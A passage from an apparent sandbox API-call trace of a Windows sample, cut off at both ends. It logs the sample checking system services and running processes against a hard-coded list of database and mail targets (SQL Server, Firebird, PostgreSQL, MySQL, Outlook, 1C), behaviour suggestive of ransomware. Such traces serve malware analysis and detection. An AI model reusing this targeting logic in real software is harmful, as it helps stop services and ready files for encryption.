1 [0160.380] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0160.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0160.380] lstrlenW (lpString="BFE") returned 3 [0160.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0160.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0160.380] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0160.380] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0160.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0160.380] lstrlenW (lpString="CryptSvc") returned 8 [0160.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0160.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0160.380] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0160.380] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0160.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0160.380] lstrlenW (lpString="CscService") returned 10 [0160.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0160.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0160.381] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0160.381] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0160.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0160.381] lstrlenW (lpString="DcomLaunch") returned 10 [0160.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.381] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0160.381] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0160.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0160.381] lstrlenW (lpString="Dhcp") returned 4 [0160.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0160.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0160.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0160.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0160.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0160.381] lstrlenW (lpString="Dnscache") returned 8 [0160.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0160.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0160.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0160.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0160.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0160.381] lstrlenW (lpString="DPS") returned 3 [0160.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0160.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0160.381] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0160.381] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0160.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0160.381] lstrlenW (lpString="eventlog") returned 8 [0160.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0160.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0160.382] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0160.382] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0160.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0160.382] lstrlenW (lpString="EventSystem") returned 11 [0160.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0160.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0160.382] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0160.382] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0160.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0160.382] lstrlenW (lpString="gpsvc") returned 5 [0160.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0160.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0160.382] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0160.382] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0160.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0160.382] lstrlenW (lpString="iphlpsvc") returned 8 [0160.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.382] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0160.382] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0160.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0160.382] lstrlenW (lpString="LanmanServer") returned 12 [0160.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0160.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0160.383] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0160.383] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0160.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0160.383] lstrlenW (lpString="LanmanWorkstation") returned 17 [0160.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.383] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0160.383] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0160.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0160.383] lstrlenW (lpString="lmhosts") returned 7 [0160.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0160.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0160.383] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0160.383] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0160.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0160.383] lstrlenW (lpString="MMCSS") returned 5 [0160.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0160.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0160.383] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0160.383] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0160.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0160.383] lstrlenW (lpString="MpsSvc") returned 6 [0160.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0160.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0160.383] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0160.383] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0160.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0160.383] lstrlenW (lpString="Netman") returned 6 [0160.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0160.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0160.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0160.384] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0160.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0160.384] lstrlenW (lpString="netprofm") returned 8 [0160.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0160.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0160.384] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0160.384] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0160.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0160.384] lstrlenW (lpString="NlaSvc") returned 6 [0160.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0160.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0160.384] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0160.384] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0160.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0160.384] lstrlenW (lpString="nsi") returned 3 [0160.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0160.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0160.384] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0160.384] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0160.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0160.384] lstrlenW (lpString="PcaSvc") returned 6 [0160.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0160.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0160.384] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0160.384] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0160.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0160.384] lstrlenW (lpString="PlugPlay") returned 8 [0160.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0160.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0160.384] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0160.384] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0160.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0160.385] lstrlenW (lpString="Power") returned 5 [0160.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0160.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0160.385] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0160.385] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0160.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0160.385] lstrlenW (lpString="ProfSvc") returned 7 [0160.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0160.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0160.385] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0160.385] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0160.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0160.385] lstrlenW (lpString="RpcEptMapper") returned 12 [0160.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.385] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0160.385] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0160.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0160.385] lstrlenW (lpString="RpcSs") returned 5 [0160.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0160.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0160.385] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0160.385] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0160.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0160.385] lstrlenW (lpString="SamSs") returned 5 [0160.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0160.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0160.385] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0160.385] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0160.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0160.385] lstrlenW (lpString="Schedule") returned 8 [0160.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0160.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0160.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0160.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0160.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0160.386] lstrlenW (lpString="SENS") returned 4 [0160.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0160.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0160.386] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0160.386] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0160.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0160.386] lstrlenW (lpString="ShellHWDetection") returned 16 [0160.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.386] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0160.386] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0160.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0160.386] lstrlenW (lpString="Spooler") returned 7 [0160.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0160.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0160.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0160.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0160.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0160.386] lstrlenW (lpString="SysMain") returned 7 [0160.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0160.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0160.386] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0160.386] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0160.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0160.386] lstrlenW (lpString="Themes") returned 6 [0160.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0160.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0160.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0160.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0160.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0160.387] lstrlenW (lpString="TrkWks") returned 6 [0160.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0160.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0160.387] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0160.387] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0160.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0160.387] lstrlenW (lpString="UxSms") returned 5 [0160.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0160.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0160.387] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0160.387] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0160.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0160.387] lstrlenW (lpString="WdiServiceHost") returned 14 [0160.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0160.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0160.387] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0160.387] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0160.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0160.387] lstrlenW (lpString="WdiSystemHost") returned 13 [0160.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0160.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0160.387] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0160.387] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0160.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0160.387] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0160.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0160.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0160.387] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0160.387] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0160.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0160.387] lstrlenW (lpString="Winmgmt") returned 7 [0160.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0160.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0160.388] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0160.388] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0160.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0160.388] lstrlenW (lpString="WPDBusEnum") returned 10 [0160.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0160.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0160.388] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0160.388] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0160.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0160.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0160.388] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x348 [0160.390] Process32FirstW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.391] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0160.391] lstrlenW (lpString="System") returned 6 [0160.391] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0160.391] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0160.391] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0160.391] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0160.391] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0160.391] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0160.391] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0160.391] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0160.392] lstrlenW (lpString="smss.exe") returned 8 [0160.392] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0160.392] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0160.392] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0160.392] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0160.392] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0160.392] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0160.392] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0160.392] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.392] lstrlenW (lpString="csrss.exe") returned 9 [0160.392] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0160.392] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0160.392] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0160.392] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0160.392] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0160.392] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0160.392] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0160.392] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0160.393] lstrlenW (lpString="wininit.exe") returned 11 [0160.393] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0160.393] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0160.393] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0160.393] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0160.393] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0160.393] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0160.393] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0160.393] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.393] lstrlenW (lpString="csrss.exe") returned 9 [0160.393] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0160.393] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0160.393] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0160.393] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0160.393] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0160.393] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0160.394] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0160.394] lstrlenW (lpString="winlogon.exe") returned 12 [0160.394] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0160.394] lstrlenW (lpString="services.exe") returned 12 [0160.394] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0160.395] lstrlenW (lpString="lsass.exe") returned 9 [0160.395] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0160.395] lstrlenW (lpString="lsm.exe") returned 7 [0160.395] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.395] lstrlenW (lpString="svchost.exe") returned 11 [0160.395] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.396] lstrlenW (lpString="svchost.exe") returned 11 [0160.396] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.396] lstrlenW (lpString="svchost.exe") returned 